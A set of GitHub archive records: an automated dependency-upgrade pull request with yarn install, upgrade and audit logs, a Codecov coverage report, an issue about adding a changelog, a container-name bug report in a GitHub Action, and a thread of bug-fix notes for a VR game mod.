text:
release: v0.0.14

Description: 概要

Changes: 変更内容

Expected Impact: 影響範囲

Operating Requirements: 動作要件

Additional context: 補足

Command results

Details:

add path
/home/runner/work/_actions/technote-space/create-pr-action/v2/node_modules/npm-check-updates/bin

cli.js -u --packageFile package.json
Using yarn
Upgrading /home/runner/work/ga-framework-template/ga-framework-template/package.json

 @babel/core                            ^7.14.6  →  ^7.15.0
 @babel/preset-env                      ^7.14.7  →  ^7.15.0
 @babel/preset-typescript               ^7.14.5  →  ^7.15.0
 @commitlint/cli                        ^12.1.4  →  ^13.1.0
 @commitlint/config-conventional        ^12.1.4  →  ^13.1.0
 @types/file-saver                       ^2.0.2  →   ^2.0.3
 @types/react-dom                       ^17.0.8  →  ^17.0.9
 @typescript-eslint/eslint-plugin       ^4.28.1  →  ^4.29.2
 @typescript-eslint/parser              ^4.28.1  →  ^4.29.2
 eslint                                 ^7.30.0  →  ^7.32.0
 husky                                   ^7.0.0  →   ^7.0.1
 lint-staged                            ^11.0.0  →  ^11.1.2
 webpack                                ^5.42.0  →  ^5.51.1
 webpack-cli                             ^4.7.2  →   ^4.8.0
 webpack-dev-server                     ^3.11.2  →   ^4.0.0
 @material-ui/core                      ^4.11.4  →  ^4.12.3
 @technote-space/genetic-algorithms-js  ^0.8.21  →  ^0.8.23

Run yarn install to install new versions.

yarn install
yarn install v1.22.11
[1/4] Resolving packages...
[2/4] Fetching packages...
info fsevents@2.3.2: The platform "linux" is incompatible with this module.
info "fsevents@2.3.2" is an optional dependency and failed compatibility check. Excluding it from installation.
[3/4] Linking dependencies...
[4/4] Building fresh packages...
success Saved lockfile.
$ [ -n "$CI" ] || [ ! -f node_modules/.bin/husky ] || husky install
Done in 52.49s.

stderr:
warning "@technote-space/ga-framework > styled-components@5.3.0" has unmet peer dependency "react-is@>= 16.8.0".
warning "@technote-space/ga-framework > vis-data@7.1.2" has unmet peer dependency "uuid@^7.0.0 || ^8.0.0".
warning "@technote-space/ga-framework > vis-network@9.0.4" has unmet peer dependency "component-emitter@^1.3.0".
warning "@technote-space/ga-framework > vis-network@9.0.4" has unmet peer dependency "timsort@^0.3.0".
warning "@technote-space/ga-framework > vis-network@9.0.4" has unmet peer dependency "uuid@^3.4.0 || ^7.0.0 || ^8.0.0".
warning "@technote-space/ga-framework > vis-util@5.0.2" has unmet peer dependency "component-emitter@^1.3.0".

yarn upgrade
yarn upgrade v1.22.11
[1/4] Resolving packages...
[2/4] Fetching packages...
info fsevents@2.3.2: The platform "linux" is incompatible with this module.
info "fsevents@2.3.2" is an optional dependency and failed compatibility check. Excluding it from installation.
[3/4] Linking dependencies...
[4/4] Rebuilding all packages...
success Saved lockfile.
success Saved 589 new dependencies.
info Direct dependencies
├─ @babel/core@7.15.0
├─ @babel/plugin-transform-react-inline-elements@7.14.5
├─ @babel/preset-env@7.15.0
├─ @babel/preset-flow@7.14.5
├─ @babel/preset-react@7.14.5
├─ @babel/preset-typescript@7.15.0
├─ @commitlint/cli@13.1.0
├─ @commitlint/config-conventional@13.1.0
├─ @material-ui/core@4.12.3
├─ @technote-space/ga-framework@0.14.19
├─ @technote-space/genetic-algorithms-js@0.8.23
├─ @types/file-saver@2.0.3
├─ @types/react-dom@17.0.9
├─ @types/sprintf-js@1.1.2
├─ @typescript-eslint/eslint-plugin@4.29.2
├─ @typescript-eslint/parser@4.29.2
├─ axios@0.21.1
├─ babel-loader@8.2.2
├─ babel-plugin-react-html-attrs@3.0.5
├─ babel-plugin-transform-class-properties@6.24.1
├─ copy-webpack-plugin@9.0.1
├─ eslint-plugin-react-hooks@4.2.0
├─ eslint-plugin-react@7.24.0
├─ eslint@7.32.0
├─ file-loader@6.2.0
├─ file-saver@2.0.5
├─ html-loader@2.1.2
├─ html-webpack-plugin@5.3.2
├─ husky@7.0.1
├─ license-checker-webpack-plugin@0.2.1
├─ lint-staged@11.1.2
├─ pinst@2.1.6
├─ sprintf-js@1.1.2
├─ terser-webpack-plugin@5.1.4
├─ tsconfig-paths-webpack-plugin@3.5.1
├─ typescript@4.3.5
├─ webpack-cli@4.8.0
├─ webpack-dev-server@4.0.0
├─ webpack-merge@5.8.0
└─ webpack@5.51.1
info All dependencies
├─ @babel/code-frame@7.14.5
├─ @babel/compat-data@7.15.0
├─ @babel/core@7.15.0
├─ @babel/helper-builder-binary-assignment-operator-visitor@7.14.5
├─ @babel/helper-builder-react-jsx@7.14.5
├─ @babel/helper-compilation-targets@7.15.0
├─ @babel/helper-create-class-features-plugin@7.15.0
├─ @babel/helper-explode-assignable-expression@7.14.5
├─ @babel/helper-get-function-arity@7.14.5
├─ @babel/helper-wrap-function@7.14.5
├─ @babel/helpers@7.15.3
├─ @babel/highlight@7.14.5
├─ @babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.14.5
├─ @babel/plugin-proposal-async-generator-functions@7.14.9
├─ @babel/plugin-proposal-class-static-block@7.14.5
├─ @babel/plugin-proposal-dynamic-import@7.14.5
├─ @babel/plugin-proposal-export-namespace-from@7.14.5
├─ @babel/plugin-proposal-json-strings@7.14.5
├─ @babel/plugin-proposal-logical-assignment-operators@7.14.5
├─ @babel/plugin-proposal-nullish-coalescing-operator@7.14.5
├─ @babel/plugin-proposal-numeric-separator@7.14.5
├─ @babel/plugin-proposal-optional-catch-binding@7.14.5
├─ @babel/plugin-proposal-private-methods@7.14.5
├─ @babel/plugin-proposal-private-property-in-object@7.14.5
├─ @babel/plugin-proposal-unicode-property-regex@7.14.5
├─ @babel/plugin-syntax-class-properties@7.12.13
├─ @babel/plugin-syntax-flow@7.14.5
├─ @babel/plugin-syntax-jsx@7.14.5
├─ @babel/plugin-syntax-top-level-await@7.14.5
├─ @babel/plugin-syntax-typescript@7.14.5
├─ @babel/plugin-transform-arrow-functions@7.14.5
├─ @babel/plugin-transform-async-to-generator@7.14.5
├─ @babel/plugin-transform-block-scoped-functions@7.14.5
├─ @babel/plugin-transform-block-scoping@7.15.3
├─ @babel/plugin-transform-classes@7.14.9
├─ @babel/plugin-transform-computed-properties@7.14.5
├─ @babel/plugin-transform-destructuring@7.14.7
├─ @babel/plugin-transform-dotall-regex@7.14.5
├─ @babel/plugin-transform-duplicate-keys@7.14.5
├─ @babel/plugin-transform-exponentiation-operator@7.14.5
├─ @babel/plugin-transform-flow-strip-types@7.14.5
├─ @babel/plugin-transform-for-of@7.14.5
├─ @babel/plugin-transform-function-name@7.14.5
├─ @babel/plugin-transform-literals@7.14.5
├─ @babel/plugin-transform-member-expression-literals@7.14.5
├─ @babel/plugin-transform-modules-amd@7.14.5
├─ @babel/plugin-transform-modules-commonjs@7.15.0
├─ @babel/plugin-transform-modules-systemjs@7.14.5
├─ @babel/plugin-transform-modules-umd@7.14.5
├─ @babel/plugin-transform-named-capturing-groups-regex@7.14.9
├─ @babel/plugin-transform-new-target@7.14.5
├─ @babel/plugin-transform-object-super@7.14.5
├─ @babel/plugin-transform-property-literals@7.14.5
├─ @babel/plugin-transform-react-display-name@7.15.1
├─ @babel/plugin-transform-react-inline-elements@7.14.5
├─ @babel/plugin-transform-react-jsx-development@7.14.5
├─ @babel/plugin-transform-react-pure-annotations@7.14.5
├─ @babel/plugin-transform-regenerator@7.14.5
├─ @babel/plugin-transform-reserved-words@7.14.5
├─ @babel/plugin-transform-shorthand-properties@7.14.5
├─ @babel/plugin-transform-spread@7.14.6
├─ @babel/plugin-transform-sticky-regex@7.14.5
├─ @babel/plugin-transform-template-literals@7.14.5
├─ @babel/plugin-transform-typeof-symbol@7.14.5
├─ @babel/plugin-transform-typescript@7.15.0
├─ @babel/plugin-transform-unicode-escapes@7.14.5
├─ @babel/plugin-transform-unicode-regex@7.14.5
├─ @babel/preset-env@7.15.0
├─ @babel/preset-flow@7.14.5
├─ @babel/preset-modules@0.1.4
├─ @babel/preset-react@7.14.5
├─ @babel/preset-typescript@7.15.0
├─ @babel/runtime@7.15.3
├─ @babel/traverse@7.15.0
├─ @babel/types@7.15.0
├─ @commitlint/cli@13.1.0
├─ @commitlint/config-conventional@13.1.0
├─ @commitlint/ensure@13.1.0
├─ @commitlint/execute-rule@13.0.0
├─ @commitlint/format@13.1.0
├─ @commitlint/is-ignored@13.1.0
├─ @commitlint/lint@13.1.0
├─ @commitlint/load@13.1.0
├─ @commitlint/message@13.0.0
├─ @commitlint/parse@13.1.0
├─ @commitlint/read@13.1.0
├─ @commitlint/resolve-extends@13.0.0
├─ @commitlint/rules@13.1.0
├─ @commitlint/to-lines@13.0.0
├─ @commitlint/top-level@13.0.0
├─ @discoveryjs/json-ext@0.5.3
├─ @egjs/hammerjs@2.0.17
├─ @emotion/hash@0.8.0
├─ @emotion/is-prop-valid@0.8.8
├─ @emotion/memoize@0.7.4
├─ @emotion/stylis@0.8.5
├─ @emotion/unitless@0.7.5
├─ @eslint/eslintrc@0.4.3
├─ @humanwhocodes/config-array@0.5.0
├─ @humanwhocodes/object-schema@1.2.0
├─ @material-ui/core@4.12.3
├─ @material-ui/icons@4.11.2
├─ @material-ui/styles@4.11.4
├─ @material-ui/system@4.12.1
├─ @mui-treasury/layout@4.5.0
├─ @nodelib/fs.scandir@2.1.5
├─ @nodelib/fs.stat@2.0.5
├─ @nodelib/fs.walk@1.2.8
├─ @technote-space/ga-framework@0.14.19
├─ @technote-space/genetic-algorithms-js@0.8.23
├─ @technote-space/worker-controller@0.5.41
├─ @types/eslint-scope@3.7.1
├─ @types/eslint@7.28.0
├─ @types/file-saver@2.0.3
├─ @types/hammerjs@2.0.40
├─ @types/html-minifier-terser@5.1.2
├─ @types/http-proxy@1.17.7
├─ @types/json-schema@7.0.9
├─ @types/lodash.mapvalues@4.6.6
├─ @types/lodash@4.14.172
├─ @types/minimist@1.2.2
├─ @types/normalize-package-data@2.4.1
├─ @types/parse-json@4.0.0
├─ @types/prop-types@15.7.4
├─ @types/react-dom@17.0.9
├─ @types/react-transition-group@4.4.2
├─ @types/retry@0.12.1
├─ @types/scheduler@0.16.2
├─ @types/sprintf-js@1.1.2
├─ @typescript-eslint/eslint-plugin@4.29.2
├─ @typescript-eslint/experimental-utils@4.29.2
├─ @typescript-eslint/parser@4.29.2
├─ @webassemblyjs/floating-point-hex-parser@1.11.1
├─ @webassemblyjs/helper-numbers@1.11.1
├─ @webassemblyjs/helper-wasm-section@1.11.1
├─ @webassemblyjs/wasm-edit@1.11.1
├─ @webassemblyjs/wasm-opt@1.11.1
├─ @webassemblyjs/wast-printer@1.11.1
├─ @webpack-cli/configtest@1.0.4
├─ @webpack-cli/info@1.3.0
├─ @webpack-cli/serve@1.5.2
├─ @xtuc/ieee754@1.2.0
├─ accepts@1.3.7
├─ acorn-jsx@5.3.2
├─ acorn@7.4.1
├─ aggregate-error@3.1.0
├─ ansi-colors@4.1.1
├─ ansi-escapes@4.3.2
├─ ansi-html@0.0.7
├─ anymatch@3.1.2
├─ argparse@1.0.10
├─ array-find-index@1.0.2
├─ array-flatten@1.1.1
├─ array-ify@1.0.0
├─ array-includes@3.1.3
├─ array-union@2.1.0
├─ array.prototype.flatmap@1.2.4
├─ arrify@1.0.1
├─ async@2.6.3
├─ axios@0.21.1
├─ babel-code-frame@6.26.0
├─ babel-helper-function-name@6.24.1
├─ babel-helper-get-function-arity@6.24.1
├─ babel-loader@8.2.2
├─ babel-messages@6.23.0
├─ babel-plugin-polyfill-corejs2@0.2.2
├─ babel-plugin-polyfill-corejs3@0.2.4
├─ babel-plugin-polyfill-regenerator@0.2.2
├─ babel-plugin-react-html-attrs@3.0.5
├─ babel-plugin-styled-components@1.13.2
├─ babel-plugin-syntax-class-properties@6.13.0
├─ babel-plugin-syntax-jsx@6.18.0
├─ babel-plugin-transform-class-properties@6.24.1
├─ babel-traverse@6.26.0
├─ balanced-match@1.0.2
├─ batch@0.6.1
├─ binary-extensions@2.2.0
├─ body-parser@1.19.0
├─ bonjour@3.5.0
├─ brace-expansion@1.1.11
├─ braces@3.0.2
├─ browserslist@4.16.8
├─ buffer-from@1.1.2
├─ buffer-indexof@1.1.1
├─ callsites@3.1.0
├─ camel-case@4.1.2
├─ camelcase-keys@6.2.2
├─ camelcase@5.3.1
├─ camelize@1.0.0
├─ caniuse-lite@1.0.30001251
├─ chart.js@3.5.1
├─ chokidar@3.5.2
├─ chrome-trace-event@1.0.3
├─ clean-css@4.2.3
├─ clean-stack@2.2.0
├─ cli-cursor@3.1.0
├─ cliui@7.0.4
├─ clone-deep@4.0.1
├─ clsx@1.1.1
├─ color-convert@2.0.1
├─ color-name@1.1.4
├─ commondir@1.0.1
├─ compressible@2.0.18
├─ compression@1.7.4
├─ concat-map@0.0.1
├─ connect-history-api-fallback@1.6.0
├─ content-disposition@0.5.3
├─ conventional-changelog-angular@5.0.12
├─ conventional-changelog-conventionalcommits@4.6.0
├─ conventional-commits-parser@3.2.1
├─ convert-source-map@1.8.0
├─ cookie-signature@1.0.6
├─ cookie@0.4.0
├─ copy-webpack-plugin@9.0.1
├─ core-js-compat@3.16.2
├─ core-js@2.6.12
├─ core-util-is@1.0.2
├─ cross-spawn@7.0.3
├─ css-color-keywords@1.0.0
├─ css-select@4.1.3
├─ css-to-react-native@3.0.0
├─ css-vendor@2.0.8
├─ css-what@5.0.1
├─ dargs@7.0.0
├─ debounce@1.2.1
├─ decamelize-keys@1.1.0
├─ decamelize@1.2.0
├─ deep-equal@1.1.1
├─ deep-is@0.1.3
├─ deepmerge@4.2.2
├─ default-gateway@6.0.3
├─ define-lazy-prop@2.0.0
├─ del@6.0.0
├─ destroy@1.0.4
├─ detect-node@2.1.0
├─ dir-glob@3.0.1
├─ dns-equal@1.0.0
├─ dns-packet@1.3.4
├─ dns-txt@2.0.2
├─ doctrine@2.1.0
├─ dom-converter@0.2.0
├─ dom-helpers@5.2.1
├─ dom-serializer@1.3.2
├─ domutils@2.7.0
├─ dot-case@3.0.4
├─ dot-prop@5.3.0
├─ ee-first@1.1.1
├─ electron-to-chromium@1.3.814
├─ emoji-regex@8.0.0
├─ enhanced-resolve@5.8.2
├─ enquirer@2.3.6
├─ envinfo@7.8.1
├─ error-ex@1.3.2
├─ es-module-lexer@0.7.1
├─ es-to-primitive@1.2.1
├─ escape-string-regexp@1.0.5
├─ eslint-plugin-react-hooks@4.2.0
├─ eslint-plugin-react@7.24.0
├─ eslint-scope@5.1.1
├─ eslint-utils@2.1.0
├─ eslint@7.32.0
├─ espree@7.3.1
├─ esprima@4.0.1
├─ esquery@1.4.0
├─ esrecurse@4.3.0
├─ estraverse@5.2.0
├─ eventemitter3@4.0.7
├─ events@3.3.0
├─ express@4.17.1
├─ fast-glob@3.2.7
├─ fast-json-stable-stringify@2.1.0
├─ fast-levenshtein@2.0.6
├─ fastest-levenshtein@1.0.12
├─ fastq@1.12.0
├─ faye-websocket@0.11.4
├─ file-entry-cache@6.0.1
├─ file-loader@6.2.0
├─ file-saver@2.0.5
├─ fill-range@7.0.1
├─ finalhandler@1.1.2
├─ find-cache-dir@3.3.1
├─ find-up@4.1.0
├─ flat-cache@3.0.4
├─ flatted@3.2.2
├─ follow-redirects@1.14.2
├─ forwarded@0.2.0
├─ fromentries@1.3.2
├─ fs-extra@10.0.0
├─ fs-monkey@1.0.3
├─ fs.realpath@1.0.0
├─ gensync@1.0.0-beta.2
├─ get-caller-file@2.0.5
├─ get-own-enumerable-property-symbols@3.0.2
├─ get-stream@6.0.1
├─ git-raw-commits@2.0.10
├─ glob-parent@5.1.2
├─ glob@7.1.7
├─ global-dirs@0.1.1
├─ globby@11.0.4
├─ handle-thing@2.0.1
├─ hard-rejection@2.1.0
├─ has-ansi@2.0.0
├─ he@1.2.0
├─ hoist-non-react-statics@3.3.2
├─ hosted-git-info@4.0.2
├─ hpack.js@2.1.6
├─ html-entities@2.3.2
├─ html-loader@2.1.2
├─ html-minifier-terser@5.1.1
├─ html-webpack-plugin@5.3.2
├─ htmlparser2@6.1.0
├─ http-deceiver@1.2.7
├─ http-parser-js@0.5.3
├─ http-proxy-middleware@2.0.1
├─ http-proxy@1.18.1
├─ human-signals@2.1.0
├─ husky@7.0.1
├─ hyphenate-style-name@1.0.4
├─ import-local@3.0.2
├─ imurmurhash@0.1.4
├─ inflight@1.0.6
├─ inherits@2.0.4
├─ ini@1.3.8
├─ internal-ip@6.2.0
├─ interpret@2.2.0
├─ invariant@2.2.4
├─ ip-regex@4.3.0
├─ ip@1.1.5
├─ ipaddr.js@1.9.1
├─ is-arguments@1.1.1
├─ is-arrayish@0.2.1
├─ is-bigint@1.0.4
├─ is-binary-path@2.1.0
├─ is-boolean-object@1.1.2
├─ is-callable@1.2.4
├─ is-docker@2.2.1
├─ is-extglob@2.1.1
├─ is-in-browser@1.1.3
├─ is-ip@3.1.0
├─ is-negative-zero@2.0.1
├─ is-number-object@1.0.6
├─ is-number@7.0.0
├─ is-obj@1.0.1
├─ is-path-cwd@2.2.0
├─ is-path-inside@3.0.3
├─ is-plain-obj@3.0.0
├─ is-plain-object@2.0.4
├─ is-regex@1.1.4
├─ is-regexp@1.0.0
├─ is-stream@2.0.1
├─ is-symbol@1.0.4
├─ is-text-path@1.0.1
├─ is-unicode-supported@0.1.0
├─ is-wsl@2.2.0
├─ isarray@1.0.0
├─ isexe@2.0.0
├─ isobject@3.0.1
├─ jest-worker@27.0.6
├─ js-tokens@4.0.0
├─ jsesc@2.5.2
├─ json-parse-better-errors@1.0.2
├─ json-parse-even-better-errors@2.3.1
├─ json-schema-traverse@0.4.1
├─ json-stable-stringify-without-jsonify@1.0.1
├─ json5@2.2.0
├─ jsonfile@6.1.0
├─ jsonparse@1.3.1
├─ JSONStream@1.3.5
├─ jss-plugin-camel-case@10.7.1
├─ jss-plugin-default-unit@10.7.1
├─ jss-plugin-global@10.7.1
├─ jss-plugin-nested@10.7.1
├─ jss-plugin-props-sort@10.7.1
├─ jss-plugin-rule-value-function@10.7.1
├─ jss-plugin-vendor-prefixer@10.7.1
├─ jsx-ast-utils@3.2.0
├─ keycharm@0.4.0
├─ license-checker-webpack-plugin@0.2.1
├─ lines-and-columns@1.1.6
├─ lint-staged@11.1.2
├─ listr2@3.11.0
├─ loader-runner@4.2.0
├─ loader-utils@1.4.0
├─ locate-path@5.0.0
├─ lodash.clonedeep@4.5.0
├─ lodash.debounce@4.0.8
├─ lodash.mapvalues@4.6.0
├─ lodash.merge@4.6.2
├─ lodash.template@4.5.0
├─ lodash.templatesettings@4.2.0
├─ lodash.truncate@4.4.2
├─ lodash@4.17.21
├─ log-symbols@4.1.0
├─ log-update@4.0.0
├─ loose-envify@1.4.0
├─ lower-case@2.0.2
├─ make-dir@3.1.0
├─ map-age-cleaner@0.1.3
├─ map-obj@1.0.1
├─ media-typer@0.3.0
├─ mem@8.1.1
├─ memfs@3.2.2
├─ merge-descriptors@1.0.1
├─ methods@1.1.2
├─ micromatch@4.0.4
├─ mime-db@1.49.0
├─ mime@1.6.0
├─ mimic-fn@2.1.0
├─ min-indent@1.0.1
├─ minimalistic-assert@1.0.1
├─ minimist-options@4.1.0
├─ mkdirp@0.5.5
├─ moment@2.29.1
├─ ms@2.1.2
├─ multicast-dns-service-types@1.1.0
├─ multicast-dns@6.2.3
├─ natural-compare@1.4.0
├─ negotiator@0.6.2
├─ neo-async@2.6.2
├─ node-forge@0.10.0
├─ node-releases@1.1.75
├─ normalize-package-data@3.0.3
├─ npm-run-path@4.0.1
├─ nth-check@2.0.0
├─ object-inspect@1.11.0
├─ object-is@1.1.5
├─ object.entries@1.1.4
├─ object.fromentries@2.0.4
├─ object.values@1.1.4
├─ obuf@1.1.2
├─ on-headers@1.0.2
├─ onetime@5.1.2
├─ open@8.2.1
├─ optionator@0.9.1
├─ p-defer@1.0.0
├─ p-event@4.2.0
├─ p-finally@1.0.0
├─ p-locate@4.1.0
├─ p-retry@4.6.1
├─ p-timeout@3.2.0
├─ p-try@2.2.0
├─ param-case@3.0.4
├─ parent-module@1.0.1
├─ parse5@6.0.1
├─ pascal-case@3.1.2
├─ path-is-absolute@1.0.1
├─ path-key@3.1.1
├─ path-to-regexp@0.1.7
├─ picomatch@2.3.0
├─ pinst@2.1.6
├─ pkg-dir@4.2.0
├─ please-upgrade-node@3.2.0
├─ popper.js@1.16.1-lts
├─ portfinder@1.0.28
├─ postcss-value-parser@4.1.0
├─ pretty-error@3.0.4
├─ process-nextick-args@2.0.1
├─ progress@2.0.3
├─ proxy-addr@2.0.7
├─ punycode@1.3.2
├─ querystring@0.2.0
├─ queue-microtask@1.2.3
├─ quick-lru@4.0.1
├─ randombytes@2.1.0
├─ raw-body@2.4.0
├─ react-fast-compare@3.2.0
├─ react-helmet@6.1.0
├─ react-is@16.13.1
├─ react-side-effect@2.1.1
├─ react-transition-group@4.4.2
├─ read-pkg-up@7.0.1
├─ read-pkg@5.2.0
├─ readable-stream@3.6.0
├─ readdirp@3.6.0
├─ rechoir@0.7.1
├─ redent@3.0.0
├─ regenerate-unicode-properties@8.2.0
├─ regenerator-runtime@0.11.1
├─ regenerator-transform@0.14.5
├─ regexp.prototype.flags@1.3.1
├─ regexpu-core@4.7.1
├─ regjsgen@0.5.2
├─ regjsparser@0.6.9
├─ relateurl@0.2.7
├─ renderkid@2.0.7
├─ require-directory@2.1.1
├─ require-from-string@2.0.2
├─ requires-port@1.0.0
├─ resolve-cwd@3.0.0
├─ resolve-global@1.0.0
├─ resolve@1.20.0
├─ restore-cursor@3.1.0
├─ retry@0.13.1
├─ reusify@1.0.4
├─ run-parallel@1.2.0
├─ rxjs@6.6.7
├─ safe-buffer@5.1.2
├─ safer-buffer@2.1.2
├─ scheduler@0.20.2
├─ select-hose@2.0.0
├─ selfsigned@1.10.11
├─ semver-compare@1.0.0
├─ serve-index@1.9.1
├─ serve-static@1.14.1
├─ shallow-clone@3.0.1
├─ shallowequal@1.1.0
├─ shebang-command@2.0.0
├─ shebang-regex@3.0.0
├─ signal-exit@3.0.3
├─ sockjs@0.3.21
├─ source-list-map@2.0.1
├─ source-map-support@0.5.19
├─ source-map@0.6.1
├─ spdx-compare@1.0.0
├─ spdx-correct@3.1.1
├─ spdx-exceptions@2.3.0
├─ spdx-expression-validate@2.0.0
├─ spdx-satisfies@5.0.1
├─ spdy-transport@3.0.0
├─ spdy@4.0.2
├─ sprintf-js@1.1.2
├─ string_decoder@1.3.0
├─ string-argv@0.3.1
├─ string.prototype.matchall@4.0.5
├─ string.prototype.trimend@1.0.4
├─ string.prototype.trimstart@1.0.4
├─ stringify-object@3.3.0
├─ strip-bom@3.0.0
├─ strip-final-newline@2.0.0
├─ strip-indent@3.0.0
├─ strip-json-comments@3.1.1
├─ styled-components@5.3.0
├─ superstruct@0.10.13
├─ supports-color@5.5.0
├─ table@6.7.1
├─ tapable@2.2.0
├─ terser-webpack-plugin@5.1.4
├─ terser@5.7.1
├─ text-extensions@1.9.0
├─ text-table@0.2.0
├─ through@2.3.8
├─ thunky@1.1.0
├─ to-fast-properties@2.0.0
├─ to-regex-range@5.0.1
├─ trim-newlines@3.0.1
├─ trim-off-newlines@1.0.1
├─ tsconfig-paths-webpack-plugin@3.5.1
├─ tsconfig-paths@3.10.1
├─ type-check@0.4.0
├─ type-fest@0.20.2
├─ type-is@1.6.18
├─ typescript@4.3.5
├─ unbox-primitive@1.0.1
├─ unicode-canonical-property-names-ecmascript@1.0.4
├─ unicode-match-property-ecmascript@1.0.4
├─ unicode-match-property-value-ecmascript@1.2.0
├─ unicode-property-aliases-ecmascript@1.1.0
├─ unpipe@1.0.0
├─ url@0.11.0
├─ util-deprecate@1.0.2
├─ utila@0.4.0
├─ utils-merge@1.0.1
├─ uuid@3.4.0
├─ v8-compile-cache@2.3.0
├─ vis-data@7.1.2
├─ vis-network@9.0.5
├─ vis-util@5.0.2
├─ watchpack@2.2.0
├─ wbuf@1.7.3
├─ webpack-cli@4.8.0
├─ webpack-dev-middleware@5.0.0
├─ webpack-dev-server@4.0.0
├─ webpack-merge@5.8.0
├─ webpack-sources@1.4.3
├─ webpack@5.51.1
├─ websocket-driver@0.7.4
├─ websocket-extensions@0.1.4
├─ which-boxed-primitive@1.0.2
├─ which@2.0.2
├─ wildcard@2.0.0
├─ word-wrap@1.2.3
├─ wrap-ansi@6.2.0
├─ ws@8.2.0
├─ y18n@5.0.8
├─ yallist@4.0.0
├─ yaml@1.10.2
├─ yargs-parser@20.2.9
├─ yargs@17.1.1
└─ yocto-queue@0.1.0
Done in 27.68s.

stderr:
warning babel-plugin-transform-class-properties > babel-runtime > core-js@2.6.12: core-js@<3.3 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.
warning webpack-dev-server > sockjs > uuid@3.4.0: Please upgrade  to version 7 or higher.  Older versions may use Math.random() in certain circumstances, which is known to be problematic.  See https://v8.dev/blog/math-random for details.
warning webpack-dev-server > url > querystring@0.2.0: The querystring API is considered Legacy. new code should use the URLSearchParams API instead.
warning "@technote-space/ga-framework > styled-components@5.3.0" has unmet peer dependency "react-is@>= 16.8.0".
warning "@technote-space/ga-framework > vis-util@5.0.2" has unmet peer dependency "component-emitter@^1.3.0".
warning "@technote-space/ga-framework > vis-network@9.0.5" has unmet peer dependency "component-emitter@^1.3.0".
warning "@technote-space/ga-framework > vis-network@9.0.5" has unmet peer dependency "timsort@^0.3.0".
warning "@technote-space/ga-framework > vis-network@9.0.5" has unmet peer dependency "uuid@^3.4.0 || ^7.0.0 || ^8.0.0".
warning "@technote-space/ga-framework > vis-data@7.1.2" has unmet peer dependency "uuid@^7.0.0 || ^8.0.0".

yarn audit
yarn audit v1.22.11
0 vulnerabilities found - Packages audited: 886
Done in 0.97s.

Changed files

Changed 2 files:

package.json
yarn.lock

:octocat: Repo | :memo: Issues | :department_store: Marketplace

repo: technote-space/ga-framework-template


text:
fix: encode post id (#111)

Description: 概要

Changes: 変更内容

Changes

fix: encode post id (#111) (990e3422965f55ee468ac966d06de0446dc2c923)

Expected Impact: 影響範囲

Operating Requirements: 動作要件

Additional context: 補足

Codecov Report

:exclamation: No coverage uploaded for pull request base (release/next-v0.9.1@cb163dd). Click here to learn what that means.
The diff coverage is n/a.

@@                  Coverage Diff                   @@
##             release/next-v0.9.1     #113   +/-   ##
======================================================
  Coverage                       ?   43.60%
======================================================
  Files                          ?      156
  Lines                          ?     1275
  Branches                       ?      232
======================================================
  Hits                           ?      556
  Misses                         ?      694
  Partials                       ?       25

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cb163dd...8b693fd. Read the comment docs.

source: gharchive/pull-request

authors: codecov-commenter technote-space

repo: technote-space/nextjs-blog

license: MIT

license_type: permissive

license_source: github-api


text:
Create CHANGELOG.md

We should have something formal to keep track of changes we make and why we make these changes.
This should be optional, and while we do have descriptive commit messages, if people have time they can compile their reasoning and thinking into a list; imagine there is a reminder of where you left of at the previous workday, help the next person take-over your workload easier by having the context

The biggest problem with a change log is that it's always a merge conflict. If we want to mandate that it's only edited on Github directly, you could potentially do that. I'd prefer we require descriptive commit messages (or PR messages), simply because that can be automatically turned into a change log.

source: gharchive/issue


text:
Error in github action

Describe the bug
An error from Github workflow while running "Copy Output"
Error msg :
Error: No such container:path: devops_cw_group_1-app-1:./tmp/reports
Error: Process completed with exit code 1.
To Reproduce
Steps to reproduce the behavior:
Run the github action with "3b2a888"
Branch : report md
Expected behavior
All github actions running successfully
Screenshots

**Desktop **

OS: [e.g. iOS]
Browser : Brave
Version : Latest update of 6th,4,2022

The error is causes by misspelt container name

The bug fixed after correcting the container name from:
devop_cw_group_1_app-1
To:
devop_cw_group_1_app_1
File_name : https://github.com/tedbot101/devop_cw_group_1/.github/workflows/docker-image.yml


text:
Progress updates on bug fixes

In this thread I will post when I find fixes to various bugs, compiled from the various issue reports.

Bug fix #1 as of 3/4/2023 morning time (released as part of revised file for beta v1 release build)
-Fixed fall damage too strict
-Added VR controls description screen to main menu scene to hopefully help existing players learn the controls since they won't be going through the Cruelty Squad HQ tutorial which also discusses this.

Bug fix No. 2 as of morning 3/5/2023 (not released yet)
-Fix toxic water on ceiling above target in Casino not letting player through.  (This is a hack; the reason was because of my collision performance fix that drastically reduced level colliders and increased VR performance 30-40 percent; so I can't totally revert to default game behavior without basically making Casino unplayable due to performance for a lot of players; so what I did was add an area approximating the size of the water pool that when entered changes the player's collision allowing them to temporarily pass through; possible there will still be some fringe case bugs especially if people are moving very fast but this is the best I can do).

Bug fix No. 3 as of morning 3/6/2023 (not released yet)
-Fix "light" around target in idiot party not letting player through by adding area to disable collisions and adding substitute colliders on other layers / masks to prevent player from falling through ground
-Known issue that will remain: Player still can't snipe or shoot through light at long range, so will need to kill target from close up or above rather than, say, using sniper from long distance. There's not really a way to fix that without breaking other stuff, like totally disabling any shooting of walls in a big range around the target. Maybe will await further feedback before making that drastic of a change.

Bug fix No. 4 as of afternoon 3/6/23 (not released yet)
-Fix "light" in androgen assault being solid with same collision disable area as above
-Will need other testers to confirm no further tweaks needs to positioning since hard for me to get to this area

Bug fix No. 5 as of night 3/6/23 (not released yet)
-Fix BoltACR not firing radiation in the proper direction

Bug Fix No. 6 as of night of 3/6/23 (not released yet)
-Fix player menus being impacted too much by lighting in environments (example: darkworld) making them hard to see

Bug Fix No. 7 as of night of 3/6/23 (not released yet)
-Fix weapons sliding back when colliding with walls and other surfaces, making it hard to aim around corners or in tight spaces in VR

Here are test files implementing all the above. Still investigating root cause of the crashing when switching levels or at the beginning of a level, but let me know if you can if these fix the various issues identified above for you in the modded game.  Just take the folders inside the zip, delete the old ones in your mod folder and put the new ones in to replace them.
test_VR_mod_files.zip

